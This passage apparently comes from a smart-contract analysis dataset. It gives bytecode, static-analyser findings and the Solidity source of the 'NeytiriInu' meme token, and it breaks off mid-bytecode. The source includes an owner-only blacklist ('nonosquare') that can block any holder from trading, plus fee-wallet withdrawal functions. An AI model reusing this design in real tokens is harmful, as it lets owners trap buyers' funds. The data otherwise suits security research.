0160a060020a0360043516610879565b34801561041d57600080fd5b506102ad600160a060020a036004351660243561088b565b34801561044157600080fd5b5061035d600160a060020a036004351660243561091d565b34801561046557600080fd5b506102766109ee565b34801561047a57600080fd5b506103866109fd565b34801561048f57600080fd5b50610276610a03565b3480156104a457600080fd5b506102c4610a12565b3480156104b957600080fd5b506102ad600160a060020a0360043516602435610a6d565b3480156104dd57600080fd5b5061035d600160a060020a0360043516610a7c565b3480156104fe57600080fd5b506102c4610a91565b34801561051357600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261035d948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610aeb9650505050505050565b34801561057c57600080fd5b50610386600160a060020a0360043581169060243516610c04565b3480156105a357600080fd5b506102ad600435610c21565b3480156105bb57600080fd5b506102ad600160a060020a03600435166024351515610c6e565b3480156105e157600080fd5b506102ad600160a060020a0360043516610ce9565b6000635ae3b98042101580156106105750635b0c97ff4211155b156106235760648281025b0490506106c3565b635b0c9800421015801561063b5750635b36c7ff4211155b1561064a57606482810261061b565b635b36c80042101580156106625750635b5fa67f4211155b1561067157606482810261061b565b635b5fa68042101580156106895750635b89d67f4211155b1561069857606482810261061b565b635b89d68042101580156106b05750635bb2b4ff4211155b156106bf57606482810261061b565b5060005b919050565b60008282016106e58482108015906106e05750838210155b610d44565b9392505050565b60006106fa83831115610d44565b50900390565b600354600160a060020a031681565b600054600160a060020a0316331461072657600080fd5b600991909155600855565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107b75780601f1061078c576101008083540402835291602001916107b7565b820191906000526020600020905b81548152906001019060200180831161079a57829003601f168201915b505050505081565b336000908152600b60209081526040808320600160a060020a039590951683529390529190912055600190565b60075481565b60065460ff1681565b336000908152600a602052604081205482111561081757600080fd5b336000818152600a602090815260409182902080548690039055600780548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a2506001919050565b60095481565b600a6020526000908152604090205481565b600054600160a060020a031633146108a257600080fd5b600160a060020a0382166000908152600a60209081526040808320805485019055600780548501905580518481529051309392600080516020610e0f833981519152928290030190a3604080518281529051600160a060020a038416913091600080516020610e0f8339815191529181900360200190a35050565b600160a060020a0382166000908152600a602052604081205482111561094257600080fd5b600160a060020a0383166000908152600b6020908152604080832033845290915290205482111561097257600080fd5b600160a060020a0383166000818152600a6020908152604080832080548790039055600b825280832033845282529182902080548690039055600780548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a250600192915050565b600254600160a060020a031681565b60085481565b600054600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107b75780601f1061078c576101008083540402835291602001916107b7565b610a78338383610d53565b5050565b600c6020526000908152604090205460ff1681565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107b75780601f1061078c576101008083540402835291602001916107b7565b600083610af881856107bf565b15610bfc576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b83811015610b90578181015183820152602001610b78565b50505050905090810190601f168015610bbd5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610bdf57600080fd5b505af1158015610bf3573d6000803e3d6000fd5b50505050600191505b509392505050565b600b60209081526000928352604080842090915290825290205481565b600954810230311015610c3357600080fd5b610c3e333083610d53565b6009546040513391830280156108fc02916000818181858888f19350505050158015610a78573d6000803e3d6000fd5b600054600160a060020a03163314610c8557600080fd5b600160a060020a0382166000818152600c6020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600054600160a060020a03163314610d0057600080fd5b600160a060020a0381161515610d1557600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b801515610d5057600080fd5b50565b600160a060020a0382161515610d6857600080fd5b600160a060020a0383166000908152600a6020526040902054811115610d8d57600080fd5b600160a060020a0382166000908152600a60205260409020548181011015610db457600080fd5b600160a060020a038084166000818152600a602090815260408083208054879003905593861680835291849020805486019055835185815293519193600080516020610e0f833981519152929081900390910190a35050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820d9b47731c37fba162e2fed8757734d0aaa6ed9b002433813442d682a15dc26d80029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
483
0x95563c026422ffb3c271313c7693802f28e11a64
/** NeytiriInu https://t.me/neytiriinu https://neytiriinuerc.com/ */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract NeytiriInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "NeytiriInu"; string private constant _symbol = "NeytiriInu"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xce93839535232D0294E6565BC3a040f9447B404C); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(15).div(1000); _maxWalletSize = _tTotal.mul(30).div(1000); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061276e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612838565b6104b4565b60405161018e9190612893565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b991906128bd565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612a20565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a69565b61060d565b60405161021f9190612893565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612abc565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612b05565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612b4c565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b79565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612abc565b6109dd565b60405161031991906128bd565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612bb5565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061276e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612838565b610c9e565b6040516103da9190612893565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b79565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612bd0565b611380565b60405161046e91906128bd565b60405180910390f35b60606040518060400160405280600a81526020017f4e657974697269496e7500000000000000000000000000000000000000000000815250905090565b60006104c86104c1611407565b848461140f565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c5c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c7c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612cda565b91505061057b565b5050565b600061061a8484846115d8565b6106db84610626611407565b6106d68560405180606001604052806028815260200161371160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c611407565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c699092919063ffffffff16565b61140f565b600190509392505050565b6106ee611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c5c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e7611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c5c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610899611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c5c565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611ccd90919063ffffffff16565b611d4790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac611407565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d91565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfd565b9050919050565b610a36611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c5c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b89611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c5c565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4e657974697269496e7500000000000000000000000000000000000000000000815250905090565b6000610cb2610cab611407565b84846115d8565b6001905092915050565b610cc4611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c5c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611ccd90919063ffffffff16565b611d4790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd7611407565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e6b565b50565b610e18611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c5c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d6e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d6310000061140f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612da3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612da3565b6040518363ffffffff1660e01b815260040161109c929190612dd0565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612da3565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612e3e565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612eb4565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506112426103e8611234600f68056bc75e2d63100000611ccd90919063ffffffff16565b611d4790919063ffffffff16565b600f819055506112796103e861126b601e68056bc75e2d63100000611ccd90919063ffffffff16565b611d4790919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611339929190612f07565b6020604051808303816000875af1158015611358573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137c9190612f45565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361147e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147590612fe4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e490613076565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115cb91906128bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163e90613108565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ad9061319a565b60405180910390fd5b600081116116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f09061322c565b60405180910390fd5b6000600a819055506008600b81905550611711610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561177f575061174f610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118285750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61183157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118dc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119325750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561194a5750600e60179054906101000a900460ff165b15611a8857600f54811115611994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198b90613298565b60405180910390fd5b601054816119a1846109dd565b6119ab91906132b8565b11156119ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e39061335a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3757600080fd5b601e42611a4491906132b8565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b335750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b895750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b9f576000600a819055506008600b819055505b6000611baa306109dd565b9050600e60159054906101000a900460ff16158015611c175750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c2f5750600e60169054906101000a900460ff165b15611c5757611c3d81611e6b565b60004790506000811115611c5557611c5447611d91565b5b505b505b611c648383836120e4565b505050565b6000838311158290611cb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca8919061276e565b60405180910390fd5b5060008385611cc0919061337a565b9050809150509392505050565b6000808303611cdf5760009050611d41565b60008284611ced91906133ae565b9050828482611cfc9190613437565b14611d3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d33906134da565b60405180910390fd5b809150505b92915050565b6000611d8983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df9573d6000803e3d6000fd5b5050565b6000600854821115611e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3b9061356c565b60405180910390fd5b6000611e4e612157565b9050611e638184611d4790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea357611ea26128dd565b5b604051908082528060200260200182016040528015611ed15781602001602082028036833780820191505090505b5090503081600081518110611ee957611ee8612c7c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb49190612da3565b81600181518110611fc857611fc7612c7c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461140f565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673